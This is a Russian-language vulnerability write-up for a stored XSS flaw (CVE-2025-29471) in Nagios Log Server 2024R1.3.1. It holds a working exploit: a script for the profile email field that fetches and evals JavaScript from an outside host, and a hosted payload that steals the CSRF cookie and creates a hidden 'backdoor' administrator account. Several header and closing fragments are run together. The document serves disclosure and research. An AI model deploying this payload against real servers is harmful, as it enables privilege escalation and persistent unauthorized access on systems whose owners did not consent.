
# XSS-хранилище в Nagios Log Server 2024R1.3.1
2024R1.3.1 и нижеNagios Log Server 2024R1.3.1 (стандартная конфигурация, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HТолько для целей авторизованного тестирования и исследований. Не тестируйте и не эксплуатируйте эту уязвимость на системах, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.
Уязвимость XSS с хранением в Nagios Log Server 2024R1.3.1 позволяет пользователю с низкими привилегиями внедрить вредоносный JavaScript в поле 'email' своего профиля.
Когда администратор просматривает журналы аудита, выполняется полезная нагрузка, что приводит к повышению привилегий через создание неавторизованной учетной записи администратора.
xss.js на вашем внешнем сервере со следующим содержимым. GitHub отлично подходит.Обновите <target-ip> на IP/имя хоста целевого Nagios Log Server.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Войдите в Nagios Log Server как стандартный (не административный) пользователь.
Перейдите к конечной точке обновления профиля:
http://<target-ip>/nagioslogserver/profile/update
Внедрите следующую полезную нагрузку в поле email. Обновите строку fetch, указав URL, где хранится xss.js.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor с полным доступом администратора в Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 устраняет уязвимость XSS с хранением, и уведомил NagiosCVE-2025-29471 для этой уязвимости XSS с хранением, но детали остались неопубликованными из-за отсутствия публичного уведомления безопасности от вендора2024R1.3.2), перенося исправление уязвимости XSS с хранением на ветку 2024R1CVE-2025-29471 был официально опубликованЭта работа была выполнена вне моей занятости и отражает мои личные усилия в исследованиях кибербезопасности.